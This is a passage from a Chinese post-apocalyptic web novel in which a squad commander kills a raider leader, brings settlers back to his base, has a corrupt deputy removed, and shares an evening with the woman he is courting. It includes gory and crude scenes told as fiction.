话音刚落,赵弋就开口:“后续阳县周围会发布探险任务,我队里的人每月三个,必须完成。”
秦丰:“……”
周霓:“……”
骨头:“……”
新人小李跃跃欲试,“那我呢?我也可以吗?我算赵队队里的吗?”
赵弋:“你不算,你只是临时抽调过来的,后续会给你安排常规队伍。”
小李失望低下头,这会儿天都快黑了,小李要去查看山下情况。
周霓已经不悲伤了,她现在满脑子都是“狗领导”。
一行人原地休息,中途骨头去找小李换班,直到深夜,骨头偷偷摸了回来,把几人叫醒。
“我刚看见野狼里面那个副手,就断胳膊的那个,在围栏附近鬼鬼祟祟的。”
因为断了手,他才一下子就认出来那人是野狼队伍的,经过这些天的蹲守,他们对山下几户人都清清楚楚,甚至连人家鸡栏里几只公鸡几只母鸡都摸清楚了,就是没有断胳膊的。
所以骨头在望远镜里看见那个断胳膊的一下子就认了出来。
“难怪我们在山上找不到他们,原来已经下山了。”秦丰嘀咕。
赵弋已经站起身,“收拾装备,骨头去摸清野狼具体位置,周霓带着小李跟秦丰包抄,我先进去跟他们领头人碰个面。”
第88章 第88章别熏到她。
深夜,月明星稀。
今天是满月,月光太盛,以免暴露行踪,几人都是小心翼翼地躲在影子下慢慢接近目标。
对方八人,他们五人;对方子弹不足,他们弹药多的能再干一个连。这么大的优势要是有什么差池,他们也没脸回阳县了。
这次赵弋带的都是小队中合作时间最长的常驻人员,——除了小李,大家配合默契,很快就形成包围圈,在野狼的人偷偷摸摸准备从人家鸡栏翻过去的时候,他们悄然在后,各自有各自的分配好的任务。
这几户屋子里都没光亮,里面的人似乎是睡熟了,也不知道赵弋到底情况怎么样。
眼看那人已经一手掐鸡一手捉鸭准备溜,剩下几个打配合的四处张望,见他得手准备撤离,秦丰都有点着急了。
这时,耳机中传来赵弋的声音。
“行动。”
话音刚落,所有人同时动了。
秦丰跟小李朝偷鸡的三人开枪,秦丰一枪爆头,一枪打中对方小腿,小李太过紧张,子弹擦着人家胳膊过去,那人如惊弓之鸟,丢下手里的鸡鸭拔腿就开跑甚至都不带还手的,秦丰咒骂一声,开枪扫射。
枪声在寂静的夜里就像是突然炸开的烟花,里面的人也被吵醒,后边传来脚步声,秦丰拽着小李后撤找掩护,一边听着耳机里其他人汇报情况。
周霓:“解决两个偷摸进屋的。”
骨头:“一死一伤。”
秦丰问:“有看见野狼吗?”
这时出现赵弋沉静的声音:“他在我这。”
众所周知 ,团队首领一般是不会跟着手底下的人一起去偷鸡摸狗的。
脏活累活他们干,他只需要站在高处等着他们把战利品送上门就好了。
在野狼看见突兀蹿出来的黑影,紧接着是熟悉的枪声后,他第一反应就是跑。
他已经被这群人追出阴影了,自从那一次交手他捅穿了一个年轻男人的脖子,又踹断另一的一条腿,他就被保护区的军方盯上,这群人跟野狗似的追着他不放,明明他已经带着队伍离开保护区周边,甚至去了源城,却依旧能够被他们找到,每一次他的队伍都死伤惨重,这一次,更盛从前。
最可怕的是,他见到了赵弋。
他亲眼看着下去的人一个个被解决,野狼咬牙,紧握着手上的枪,食指时刻搭在扳机上,确定无人生还后,还是选择了跑。
但这一次,他没有那么幸运。
常年处于野外,他的身体比他更早察觉到了危险,匕首接近的瞬间一阵头皮发麻,他立刻伸手格挡,手里的手枪死死抵着接近喉管的匕首,他身后似乎是一堵巨大的墙,那种扑面而来的压迫感让他想放弃挣扎。
他根本不知道他是什么时候来的。
“赵……弋!”野狼眼露凶光,竭尽全力卡着他的手。
僵持之中,赵弋首先改变战略,他的右手胳膊死死卡着对方喉咙,左手的匕首始终无法再进一步,于是他忽然卸力,改为抓着他的手枪。
慌乱之中,野狼扣下扳机,给自己肩膀打了个窟窿,鲜血横流。
受伤激发了他的血性,野狼开始挣扎。
但这种近距离的搏斗,身高体重会占很大优势,赵弋发力直接将人摁在地上,膝盖压着人后背,将他手上的枪跟手一起压在了肚子之下。
这种手枪根本无法打穿人体。
穿着深灰色作战服的男人从头到脚就露出一双冷漠的眼睛,大半张脸都在面罩之下,他动作迅速又狠绝,不带一丝犹豫,仿佛手下不是一个活生生的同类,而是个会喘气的垃圾。
右手抽出腿侧另一只匕首,反拿,从人类脆弱的颈动脉扎了进去,滚烫的鲜血流了他满手,瞬间沾染了野狼杂草般的长发,匕首就像拉链一般,轻巧地划开了他的喉咙,血液更加汹涌,再由灵活的手腕反转到后颈,脊椎会比较难搞,但只要找对地方,就不难切断。
一道令人胆寒的咔哒声响起,野狼的脖子失去支撑软了下去,整个人也失去了动作。
匕首继续,回归到颈动脉,完成了一个整齐又规整的圆。
脑袋,掉在了地上。
如果时枌在这的话肯定会夸他手艺好,赵弋想着。
他把头发拎起来,手在身上摸了下,没找到袋子,只能这么拎着下去,遇到不好走的路就把脑袋别腰带上。
很快就跟秦丰他们会和。
秦丰正跟着几户人家中的领头人友好交谈,看见赵弋来了还拉人一起介绍他们保护区的好政策,结果一眼就看见赵弋裤腰上别着的人头,给他吓一激灵。
秦丰:“嘛呢!这还有小孩呢!”
人群中有个年长的男人递给他一个布袋子,赵弋道谢接过,把脑袋装上了。
那人认出来,“那是野狼吧?”
赵弋点头。
于是有人说:“我就说最近咱们附近有人!你们还不信!看吧,是不是?我就知道这家伙肯定会来!”
“谁不信啊,我们这不是没睡么?大家都守的好好的,也没出事,是吧。”
“是啊是啊,我今晚特地没睡。”
“没睡个屁,我去你家还是你媳妇把你叫醒的。”
“我就是眯了一会儿……”
秦丰看天都快亮了,招呼他们安静,“咳咳,听我说乡亲们!是这样的,我们是兰城保护区的部队,这次来是专门找野狼,才碰巧来你们的地盘,不过你们放心,我们对你们没有恶意,也不会抢你们的东西。”
“哦,我知道!他都跟我们说了。”
赵弋提前进去,跟他们大概说明过情况。
秦丰:“是是是,所以我们想问问,你们想不想加入我们,跟我们一起回阳县,毕竟这地方也不安全,我们在阳县有驻军,有土地,有食物,还有住的地方……”
“怎么是阳县?”一个稍年轻,叼着根草看起来吊儿郎当的男人扬声问道,“不是兰城吗?离我们百八十里远,那地方鬼才去!”
秦丰解释:“我们驻扎在阳县啦,你可以理解我们是兰城的分部,跟兰城是一样滴。”
“哼!别以为我不知道,你们就是缺人挖矿,想忽悠我们去干苦力活!我们自己有枪有地有人还有粮食!再说,这次也就是你们插手,野狼这种东西我们自己也可以处理!”
刚刚那个递布袋子的年长男人皱眉看向他,试图出声。
年轻人又说话了:“就你,你不是杀了野狼么,你要是能打得过我,我就跟你们走,以后给你们当牛做马,该挖矿挖矿,该种地种地。”
秦丰本来还想劝两句,一听他挑了个最能打的,也就不劝了,只是装模作样看向赵弋,似乎是很为难:“这……”
“陈老七!干什么呢!”年长的终于忍不住了。
赵弋将手里的布袋递给秦丰,撕开自己身上的战术背心,三两下把背心卸下来交给秦丰。
“行,来。”
简单两个字,那个叫陈老七的摩拳擦掌,笑着跑过来。
还是那句话,普通人之间搏斗,技巧是一方面,身高体重占很大的因素,——虽然陈老七这种野路子也用不上他使什么技巧。
不出三秒,人就被摁在草地上摩擦了。
陈老七还不服气,蹭了满嘴的草说再来比枪法,被刚刚那人呵斥住。
“给我们点时间,我们自己商量一下,要是不嫌弃的话先在我们这吃顿早饭再走。”
一听吃饭秦丰就应下了。
他们这群人当中一共有四户,一户是一家三口人,带着个小女孩,一户中年夫妻,一户是刚刚说话的年纪稍长大概是他们当中领头的那个,他有两个儿子,一个陈老七,一个陈大,中间几个孩子都死在末世中了,最后一户是个单身男人单独住着。
闲聊中得知他们在这里也没多长时间,是去年冬天从别的地方迁过来的,发现这地方有地有房屋,就暂时住下来了,后来又养了些鸡鸭,都是从山上抓的野鸡野鸭,勉强维持生活。
但这地方太空旷了,一旦被其他人发现很容易招来祸患,所以他们才会围围栏,并且每天都有人守夜。
“也就是没养狗,不然也不用辛苦换人守夜。”一人憨笑道。
他们在一家三口家中吃饭,说话的正是男主人。
早餐比较简单,蒸的粗面包子,还有炒鸡蛋跟一点没啥味道的炒菜。
做饭的女人说:“别嫌弃,我们这也没多少盐,得省着用。”
“没事没事!”说完秦丰就掏出自己的烧烤料,给大家加料。
桌边小女孩闻到香喷喷的烧烤料,抿抿嘴,咽了咽口水,大眼睛看着秦丰。
秦丰给她撒了一点点在她的馒头上,“你是小孩子,不能吃多。”
小女孩小心翼翼咬了一口,眼睛亮了起来。
“好好吃!”她惊喜道,“妈妈!你也可以做这个吗?”
妈妈有些为难。
秦丰留下一包烧烤料,“没事,这个给你们,以后烤兔子啊什么的都能吃,我回去再配就行。”
女孩爸妈推辞。
周霓:“别跟他客气,他这玩意多的是!”
他们才收下了。
简单吃了饭,他们也终于商量出结果。
为首的陈老头说:“我们这就收拾东西跟你们走。”
简单明了,甚至都没问他们阳县是个什么情况。
骨头:“阳县跟保护区不太一样,最近是不收积分的,你们……”
“没事,路上咱们再细聊。”陈老头说。
看来是对他们很放心。
陈老头一招呼,大家就各自收拾东西。
预备着要徒步走过去,大家把鸡鸭什么的,压箱底的鸡蛋都小心收拾好了,在家里挑挑拣拣
一些值得带的东西准备一起带走,结果还没出发,就听见轰隆隆的车声。
秦丰嘿嘿一笑,“还是老赵手快,这得提前多久把定位发出去啊,正好!”
赵弋抬抬眼皮,没回答。
他前一天就发送定位跟任务完结时间了,给足了阳县准备时间,按道理说他们应该在天亮之前就到的,结果让他等了这么长时间,将近两个多小时,天都亮了。
也不知道在磨蹭什么。
车刚停下,带队来接应的人就过来跟赵弋汇报情况,一脸紧张地解释自己为什么来晚了。
“基地里没有汽油,我给别的车抽出来才凑够。”
至于这个别的车,正是今天即将发往兰城的运输车。
大领导发令,他当然知道孰轻孰重,带着人就把运输车拦下了,只是跟南区那边的人发生冲突才耽误了时间。
这次来接他们的有两辆越野车一辆小货车,看见这辆小货车陈老头才恍然。
大家伙赶紧回家收拾东西,上车前主动上交枪支,陈老七还有点不乐意,被他爹骂一顿也就好了。
“别给我碰坏了,我好不容易搞到一把狙击枪。”陈老七恋恋不舍,对枪跟对待老婆似的,摸了好几把安抚半天才撒手。
一行人分散到各个车上,赵弋秦丰跟陈老头一家一起压后,坐在后一辆越野车上,秦丰开车,两辆越野车中间是货车。
一车五个大男人,秦丰话最多一边开车一边拉着人聊天。
“我看您这体格是真不错啊,您多大年纪啊?跟我爹差不多吧?”
他们老头加两兄弟越野车后座都挤的满满当当。
陈老头笑了起来,“我也快六十了。”
“哟,比我老爹还大两岁,看着比我爸精神多了。”
“我们家里有个榨油厂,这俩小子小时候都跟着我榨油,身体就练出来了,后来……”
老头深深叹了口气。
“我媳妇没挺过去,刚开始老二老三照顾他妈死了,后来老四老五老六没熬过去……”
秦丰也感慨:“啊……”
赵弋突然开口:“您榨油?榨什么油?”
“主要是菜籽油吧,我们村里都吃这个。”
赵弋从口袋里摸出半盒烟,抖出一根朝后座递了过去。
“我都十几年没见这玩意了,哈哈。”老头高高兴兴接过,“谢了啊。”
陈老七凑过去看,被他爹一拍脑袋怼到一边,老头小心把烟藏好,打算等到了地方再找火。
秦丰看见赵弋掏出这玩意,眼睛都瞪大了,“什么意思啊老赵,有这好东西不告诉我?!”
赵弋真不想搭理他,低声说:“菜籽油。”
秦丰没反应过来,“什么油比得上我俩革命情谊?!”
“时枌。”
秦丰声音一下子就下来了。
“啊……菜籽油啊……”
彻底没声了。
他们从阳县到这里,一路走走停停折腾了将近半个月,回程倒是挺快,油门踩到底呜呼一下,赶在中午食堂开饭之前到了基地门口。
马路上刚看见基地的时候秦丰屁股就坐不住了,一边问“我身上是不是有味儿?”“叶枝蔚今天上早班吧不会看见我吧?”“诶老赵,我出去这十几天是不是瘦啦?”
赵弋很不想理他。
车队到了基地门口,正常安检,赵弋的副官早早等在门口一看见赵弋就把手上厚厚一沓目测有四五十厘米的文件往他跟前一送,“赵指挥,这是您最近需要签署的文件。”
赵弋转身去了车后备箱,只扫了那些文件一眼,“我走后申请的矿工积分到账了吗?”
副官:“没有。”
“汽油?”
副官冷汗都快下来了,“没有。”
“粮食?”
副官感觉自己站不住了,“也没有。”
赵弋笑了。
笑的跟兰城被丧尸夷为平地了一样,冷飕飕的。
别的也不用多问了,赵弋把后备箱的布袋里拎出来。
“第一件事,把宋不平那个老东西捆了,打包送上运输车,让他们南区的人现在就送去兰城,跟姚山说,他两百号人归我了。”
“第二件事,通知矿山,两座矿山停工,放假,积分一天不到账一天不开工。”
“第三件事,让张克带人下来,给他们注册身份。”
副官倒吸一口气,没胆子问他一个小小副官,人称助理的要怎么去绑阳县副指挥宋将军?
虽然他俩都有个副字,但是他们副的天差地别啊。
不过很快,一听要绑宋不平,骨头首先凑了过来,“你等等,我叫上张照照跟你一起去,嘿嘿。”
这不就有人了吗。
基地门口拖家带口的正在安检,也有不少人看见赵弋回来了凑过来围观,又不敢围观得太明显,都是偷偷摸摸训练间隙偷看一眼。
周霓已经第一时间跑回家洗澡了,她彻底受不了自己的油头,小李跟秦丰帮着卸行李,秦丰左手一袋鸡右手一袋鸭,满眼都是馋,看见赵弋手里的布袋子上干涸的血迹,嘀咕两句:“你说你带这玩意回来干啥。”
赵弋:“伴手礼。”
秦丰:“……你给时枌带这玩意当伴手礼?”
赵弋用看傻子一样的眼神看了他一眼,“神经。”
这边太热闹,刚吃完饭去买了冰棒的时枌嘴里叼着一根绿豆的,手里拿着一根甜水的,单手拄着拐杖走了过来,看见赵弋眨眨眼,一时间还没确定,因为这人裹的太严实了,直到对视上确定了是他,时枌加快步伐蹦了过来。
赵弋身上脏,在她靠近时低头嗅了嗅自己衣领,跟之前的秦丰有了同样的焦虑。
他好像有点臭。
为了隐蔽身上抹丧尸内脏,那股味道不是简单用水洗洗就能洗掉的,更何况他几小时前才刚处理了野狼,手套上还有洗不掉的血迹。
因此在时枌过来时,他下意识后退了一步。
别熏到她。
时枌把手里甜水的递给他,“喏,你辛苦了。”
赵弋另一只手接过,咬了一口,甜的发腻。
时枌看了看他手里的东西,有血迹,“是逮到了什么吗?”
“不是,”赵弋说,“我身上脏,一会儿回去洗个澡,你要是觉得难闻就离我远点。”
时枌:“还行吧,跟我上完山一样的。”
她并不介意这些。
毕竟他是去出任务不是去旅游,不可能那么干净清爽。
冰棒吃完了,张克骂骂咧咧一瘸一拐走了过来,咬牙切齿地看着他新带来的人,让手底下的其他人给他们注册身份。
“你可真会给我找事,兰城那边两千个老弱病残我拦着没塞进来,你倒好,自己给自己找人,你让我怎么跟兰城那边交代,啊?”
赵弋把手里的袋子递过去。
“什么玩意恶心吧啦的,老子刚洗的制服,别给我弄脏了。”
嘴里嫌弃,但张克还是接过来,手指头捏着布袋子给掐成了兰花指,小心翼翼打开看。
一股浓重的血腥味扑面而来,给他熏的眼睛都睁不开,再回过神来,就对上了杂乱头发中那一双熟悉的、残忍的眼睛。
张克愣在原地。
仿佛一瞬间回到那个夜晚,他的右腿被迫搭在石头上,这个长发披散的野人,周围围着一群同样的人,狞笑着一脚踩断了他的小腿。
痛苦会是随着时间的流逝而消散,再次回忆感受不到当时的疼痛,但身体却深刻记得那段记忆。
“这么大味儿。”给他眼泪都差点熏出来。
“谢了啊。”
“不过如果是我,肯定也能把他带回来,哼。”
张克接过袋子,在手里掂量两下,调整重心,用假肢支撑身体,然后曲起左脚,准备一脚给这脑袋踢走。
然后,他踢了个空,还是赵弋伸手扶了一把才没摔。
张克老脸通红。
时枌:“要不我来吧。”
她不由分说拿过袋子,单拐支撑,右脚准确无误一下子把这颗球……哦不,脑袋踢飞。
野狼脑袋跃过安检的众人,扑通一下砸在地上,骨碌碌朝前方森林滚了过去。
张克:“……”
“哎呀,不能丢那里!糯糯平时要跟老头子去那边采药的!”
时枌拄着拐杖飞奔过去,然后一脚把脑袋踹进了基地旁边的菜园子。
“挖个坑埋了,就当施肥。”
蚊子再小也是肉啊。
第89章 第89章“我有我的亲法。”……
明明都是腿不好,凭什么时枌拄着个拐杖都能比他灵活?他是不是得攒钱换个更高级的假肢了???
张克站在原地怀疑人生。
“张科,这边分房子有点问题想问您!”另一边负责给新来的人注册登记的同事叫他,张克跟时枌赵弋打了招呼就过去了。
时枌看着他,伸手把他面罩拉下来,“这样看着顺眼多了。”
蒙着脸干啥,大白天怪吓人的。
“习惯了。”赵弋说着,强忍着伸手摸自己脸的冲动。
因为他忽然意识到自己在外风吹日晒将近半个月,还戴着面罩,说不定现在脸上都被晒出色差了。
现在又没张镜子让他瞧瞧自己到底是不是一半黑一半白。
万一毁容了,他仅剩的两大竞争力,——十万积分跟这张脸,就只剩下一半了。
他突然想给自己面罩重新拉上去。
好在很快骨头跟张照照就去家属区把宋不平给打包扛了出来,招来基地所有人的注意,包括还在登记注册的那几个。
因为,宋不平是光着屁股蛋被扛出来的。
骨头跟张照照一人扛头一人扛脚,上边驾着光着屁股被捆的结结实实正在骂骂咧咧问候两人祖宗十八代的宋副指挥宋将军。
“报告队长!我们到家属区逮人的时候正好碰到宋将军对无辜女子欲行不轨,我俩见义勇为,把人收拾出来了,宋将军特别配合!特地没穿裤子!”
宋不平:“我口你口口口口,我口口口了个口……口口口……”
到处喷口水,还好有个正准备洗衣服善良小兵路过,把自己珍贵的还没来的洗的袜子送了过来,堵住了宋将军的嘴巴。
宋不平这老东西平时在基地吆五喝六的,还喜欢骚扰办公楼的职工,偏偏他是二把手大家都怕他,知道他背地里威逼利诱有什么办法?阳县兰城隔着这么远的距离难道还去兰城打官司吗?况且宋不平这个人贼精,欺软怕硬,那些真的有后台的比如赵队手底下的人他绝不会去招惹,挑的都是那些被发配来阳县无根基的下手。
因此这会儿他被扛出来,看热闹叫好的占绝大多数。
“哟,这不是副指挥嘛。”
“屁股蛋真白啊。”
“……鸡儿是真小啊。”
“……你们看的真仔细啊。”
赵弋很平静看了眼面色通红挣扎不断的宋不平,用很平静的语气说:“就这样送过去,骨头你随车去一趟。”
“好滴领导!”骨头笑嘻嘻应下。
他不爱加班,但是这种班他爱加,嘿嘿。
没被点名的张照照急了,“我呢我呢?赵队我也要去!我休假都快休出蘑菇了!”
赵弋没搭理他。
骨头:“你就得了吧,你当这事很安全呐?万一我被兰城那边的人扣住呢?你一个小队成员,军衔那么小,送过去就是白给,嘿嘿,我军衔比你高,他们不能拿我怎样。”
最重要的是,他乃赵队心腹啊!
骨头骄傲地扛着宋不平走了。
副官刚去通知其他人办下边两件事,这会儿又抱着那一沓厚度明显增加的文件过来。
赵弋很不想看这玩意。
视线一扫就发现时枌盯着远去的宋不平看。
赵弋不理解,问她:“你看什么?”
时枌觉得这事应该不能大声让别人听到,就让他低下头,然后用超级小的声音在他耳边说:“他的鸡鸡比虎子的还小哦。”
赵弋:“……”
突然后悔让宋不平光裤子下楼了。
“你们男的……”
她紧接着又要问,话刚开个头赵弋就知道她想要问什么,几乎是立刻打断。
“我跟他不一样。”
时枌眨眨眼,看向她附近最近的另一个男人。
听的一清二楚的副官:“我也不一样!”
赵弋:“……”
副官继续苦着个脸:“赵队去办公室看看吧,还有一堆线上的邮件等着您回复啊。”
赵弋澡都没能洗,就被办公室的活绊住了脚,时枌还约了叶枝蔚和周霓采蘑菇,没办法陪他去。
她眉飞色舞给他讲自己最近的日常。
“我们在基地后山上发现了一群鸡枞菌,上次吃了一点,最近又下过雨,我观察了,它们又长出来了,正好我还有只鸡,等我们把菌子摘回来炖汤喝,给你们补补身体!”时枌说。
理由充分。
“我今晚要回家住。”赵弋说。
时枌看他一身装备,“嗯,能理解啦,你这样确实要回去好好洗洗。”
赵弋:“晚点见。”
“嗯嗯。”
时枌现在恢复得差不多了,感觉脚还能用用力,之前还需要双拐,现在单拐都很灵活。
她跟叶枝蔚一起去找周霓。
周霓家也住在家属区,毕竟来阳县之后她升了官,也算个小领导了,她俩到的时候周霓正在吹头发。
她家也是差不多的户型,只是是个六层楼,阳台的方向也不一样。
比起赵弋家,周霓家就显得温馨很多,家里有不少她从兰城带来的小摆件,玄关的柜子上还有一个陶瓷的小猫咪高高竖起尾巴用来挂钥匙,时枌进屋时摸了好半天。
“出去太久了,家里没啥东西招待你们,别介意哈~”周霓一边整理着她的卷发,一边扭头跟她们说。
她憋了快半个月,这头发是终于能洗上了,她足足洗了三遍才洗干净,后来又涂护发素,上精油,现在周霓整颗脑袋都是香喷喷的。
头发吹到半干,周霓去换了身短袖短裤,踩了双凉鞋就跟她们出去了。
她来阳县后先是忙着收拾屋子,然后是上班,最近又被赵弋派去出任务,根本没闲下来过,不然怎么会连“基地后山上有鸡枞菌”这种事都不知道?
“这次我能休七天假,能好好带枌枌玩了。”周霓乐乐呵呵。
叶枝蔚笑:“不一定哦,时枌现在对阳县比你熟悉,说不定是她带你玩呢。”
时枌认真点头,“是的!我跟老中医把那边那片林子都走遍了,还有后山,还有矿山山脚……要不是没有车,我们还能去那边挖药材。”
时枌伸手一指最高的那座。
除了很有名的山,周围这些小山坡都是没有名字的,大家说起来也就是这座那座,没那么多讲究。
“不愧是枌枌!”周霓笑着挽上她胳膊。
时枌左手一个,右手边一个,被两人夹在中间,就这么边走边聊爬上了后山。
周霓还以为她脚不方便爬不上来,没想到时枌使拐杖这么灵活,速度比她还快。
很快就找到了那片鸡枞菌,周霓远远就看见了那一窝一窝的小伞,走近了乐得合不拢嘴,一边找长树枝开挖。
鸡枞脚长,直接拔容易拔断,得拿长棍斜着插进土里给它翘出来。
周霓不愧是会认菌子的,挖菌子技术也是一流,速度比时枌跟叶枝蔚快多了。
三人啃哧吭哧把这一片菌子都挖完才回去。
清洗的活儿就交给秦丰,鸡时枌也交给他了,等着一会儿晚上再来食堂喝鸡汤。
时枌又带着叶枝蔚跟周霓去吃冰棍,再去山脚边摘桃子,热出一身汗,坐在基地训练场地双杠上啃桃子。
都是女孩,时枌就把自己的好奇大大方方说了出来,“所以,人的鸡鸡,跟虎子的也差不多?”
她顺便解释了下今天看见的那一幕。
周霓默默伸出双手捂住她的耳朵,试图洗脑:“你什么都没看见你什么都没看见……”
叶枝蔚:“……也不是全都这样吧,秦丰说,那种 ,算残疾吧。”
周霓跟时枌同时扭头看向她。
“咳咳,”周霓严肃起来,“我觉得算。”
时枌恍然大悟,“啊,他跟张克一样都是残疾人。”
周霓和叶枝蔚:“……”
还好张克不在这。
三人等到晚上秦丰做好鸡汤,叫上张照照白芳跟糯糯,又分了一碗给刚回来的骨头,吃完好歹还剩一碗,就交给时枌带回家给赵队。
以表明他们这些人心里还是有他这个领导的。
他们闲着没事,觉得时枌一个人这样拎着汤蹦跶不太安全,突发奇想一起送她回家。
就这样,一行人队伍浩浩荡荡往家属区走。
时枌头一回有种“是不是太隆重”的局促感。
不过还没进家属区,基地门口有人叫她,“时枌!有人找!”
一行八个人同时扭头看过去。
被十六双眼睛注视的西芹突然紧张起来,手指用力绞着衣摆。
白芳糯糯不认识西芹,周霓他们也不认识,突然看见个十几岁小孩站门口还挺好奇,问时枌她是谁。
时枌也没想到西芹会来找她,跟他们说了一声就过去了,叶枝蔚帮忙解释原委。
时枌到门口,西芹就开了口。
“我听说赵队回来了。”
“啊,是的,”时枌看她这么紧张,大概猜到她是有什么事,“你要找他?”
“也不算是……”西芹看着她,就像看着某个救世主,“时枌,你还当我是朋友吗?”
时枌没回答这个问题,“你有什么事直说吧。”
西芹太过紧张,没意识到她不回答这个问题就已经说明了这一切,她只是想迫切地解释自己的困境、提出自己的需求。
她本以为来到阳县生活就会好起来,一开始的确如此,她如愿找到了工作,能自己挣积分养活自己,可是,矿山的工作比她想象中要艰难得多,指甲缝里永远洗不干净的煤灰,衣服上沾染令人恶心的味道,那些光着膀子的矿工看向她的眼神……总让她想起曾经在保护区的日子。
那时她也是这样,被一双双野兽般的眼睛觊觎。
“我听说,你帮她们在医务室安排了工作,你跟赵队的关系……”西芹深吸一口气,“时枌,你能帮帮我吗?我也可以去医务室工作,我什么都愿意学,以后我赚的积分给你一半……”
“白芳是因为自己会才被收过去当学徒,至于糯糯,她未成年,只是在那边学习。她们的工作并不是我安排的,而且你不是有工作吗?”
她平静的话像是一把尖锐的匕首划开了所有遮羞布。
对,是她吃不了苦,是她太弱小,是她太天真,明明时枌已经拒绝过她一次,她是怎么好意思还来纠缠的呢?
“可是……我也是因为你才迁移来阳县啊……”西芹强忍泪水。
她在时枌的农场看到了除兰城之外另一种生存的可能,她知道了原来生活可以没那么艰难,她怎么能不心生向往呢?
所以在兰城政府发布通知后,她才劝哥哥跟她一起来阳县。
时枌皱眉:“你在怪我?”
这简直是一团乱麻,时枌从未处理过这么复杂的事情,她只能凭直觉做出第一反应,并且不愿意去细想这一切,因为身体的反应告诉她其中的原因必定会让她苦恼。
西芹抹掉眼泪,脸颊上又被蹭上一抹煤灰,“你对所有人都很好,为什么不能对我也好一点呢?”
“……我觉得你遇到问题第一时间不应该是找人帮忙,你得自己处理问题。”
“可我处理不好啊。”来到阳县后她再次深刻意识到了这一点。
“……那我也没办法。”时枌不太想跟她多聊,“阳县目前不收每月十个积分,矿山工作每天免费发两只营养液,你的生存不会有任何问题,我也不是神灯,你张张嘴许个愿我就给你安排好一切。”
西芹哭着跑了。
她俩聊天虽然离的有段距离,但是期间西芹情绪激动,声音有点大,他们多多少少都听见了,刚了解完事情始末的骨头说:“哎呀,小孩子嘛,我十六岁也这样,别扭矫情,以自我为中心,被我爸两皮带就抽好了。”
张照照:“我家是我妈打我,拿柳条抽。”
秦丰:“我家是竹条,有时候竹子没削干净,上边有点枝桠,能给我死人抽活。”
周霓搂着还不太高兴的时枌:“别多想啦,人生很长的,总有几个奇奇怪怪的人路过,别有心理负担哦,明天说好要陪我去树林找松茸的哦。”
糯糯也拉着时枌的手,仰头看着她,“我明天偷药房的柴胡、枳实、芍药、甘草给时枌姐姐顺顺气。”
白芳:“……”
时枌摸摸她小脑袋,笑了起来,“偷东西不好哦。”
这点小插曲很快就在大家插科打诨中过去,他们把她送到门口,秦丰亲自去把鸡汤放进冰箱后才撤退。
周霓走前还劝她:“别多想哦~”
关上门,时枌自己一个人在家,晃了晃乱糟糟的脑袋,心里闷闷的,于是决定去洗个头再洗个澡清醒一下。
她已经习惯了单脚洗头,洗完再躺进澡盆里翘着腿洗个澡,——澡盆是叶枝蔚给她买的。
舒舒服服换上干净的睡裙,心情就好了很多,哼着从财务科电脑听来的歌,一边擦头发,一边坐在餐桌前翻看上次罗辉过来给她带来的书。
她二楼的书借给烈烈跟阳阳看,两个小孩都很守规矩,每次看完一本才去拿第二本,这次的书也是时枌托他们帮你挑然后让罗辉带过来的。
这一本是成语故事,偏偏看到了“升米恩斗米仇”,时枌心情又不好了。
“晦气。”她合上书,抬头看看时间已经快十一点,心想也该睡觉了,突然传来敲门声。
时枌这才想起赵弋说今天要回的。
她单脚蹦过去开门,一打开,果然是他。
不过跟在基地不太一样,他手里拎着个包,身上作战服也换了下来,是跟张克他们一样的白衬衣黑裤,脸上也干干净净的,只是有点小伤口,应该是在办公室清洗过了。
时枌第一反应是看向他手里的包,露出一种很……难以言喻的表情。
毕竟他回来时手里也拎了个袋子,袋子里装的是新鲜割下来的人头。
他不会把那玩意往家里带吧?
时枌真的很嫌弃。
赵弋进屋换鞋,抬眼对上她嫌弃的表情,又顺着她的目光看向自己手里的包,包旁边明显有蹭上去的血迹,猜到她在想什么,笑了起来。
“换下来的作战服,不是什么别的东西。”他解释道。
时枌这才松了口气,“还好不是什么别的东西,给我吧,我去阳台拿水泡一泡,明天应该就好洗了。”
她沤肥的时候身上也容易弄脏,她对于如何清洗血迹有丰富的经验。
赵弋没给她,“今天太晚了,一会儿我去弄,你脚不方便。”
时枌就算了,不跟他多争。
“冰箱里有鸡汤,那我帮你热?”
“好。”
他去洗手间处理,她就去了厨房。
一打开冰箱,鸡汤冰冰凉,时枌把鸡汤端出来,去打火。
噗呲。
哦,没煤气了。
宋阡说兰城那边不送物资过来,现在他们家属区连煤气都没了。
时枌看着黄澄澄冰冰凉的鸡汤,陷入沉思。
等赵弋出来的时候,她还在发呆。
赵弋不明所以,过去开火,咔哒,没得火。
“没气了。”时枌看着他,“你饿不饿?要不啃两个桃子算了,今天刚摘的。”
“也不是很饿,留着你明天带去食堂当早饭吧。”
他把鸡汤收拾进冰箱,关好煤气,看她还呆呆的。
他靠过来,笑道:“怎么不开心,不会是因为我没喝上鸡汤觉得愧疚吧?”
时枌:“那倒不至于。”
她就说了今天又碰到西芹的事。
赵弋安静听着,一手支在流理台上,一开始注意力还在她说的话上,但很快就被一张一合偶尔因为不高兴微微嘟起来的嘴唇转移了视线,他还抽空给她削了个桃子,时枌就一边抱怨一边啃桃子。
他漫不经心地听着,偶尔“嗯”两声,再加几句“你说的对”,再问她:“饿不饿?再削一个。”
“不吃了,晚上吃多了睡不着,”时枌还是有点生气,“我不是不能帮她,但我就是不想帮她,我觉得她在绑架我!”
“嗯。”赵弋再次漫不经心盯着她的唇,“她在绑架你。”
“是吧,你也这么觉得。”时枌终于找到认同,身体下意识靠近他一些,“可是,我又觉得,我这样为难别人,也挺坏的。”
“怎么会呢,”他不着痕迹将撑在流理台、她身侧的手往前挪了一寸,身体也跟着倾斜,“你如果算坏的话,我这种人算什么?”
“啊?你也很坏吗?”
“嗯,”他嘴角微扬,似乎是一个很收敛的胜券在握的笑意,“就像我现在,你在倾诉什么我一个字都没听进去,刚刚都是在敷衍你。”
时枌:“……”
“西芹是什么东西?如果不是你今天提了太多次,这个名字我都记不住。”
他低头逼近。
时枌终于发现,自己后腰已经彻底靠着流理台的边缘,甚至被他的逼近压迫得只能后仰保持安全距离。
“我满脑子都在想,出任务前你答应我的,是不是该兑现了?”
她眨眨眼,思维敏捷地记了起来,“哦,你说那个。”
“别惦记啦,喏,亲呗。”
她低下头,将自己额头凑过去。
这动作有种英勇就义的决绝。
但下一秒,就被一只手捏着下巴将脸仰了起来,对上一双满是占有的眼睛。
她有种要被吃掉的感觉。
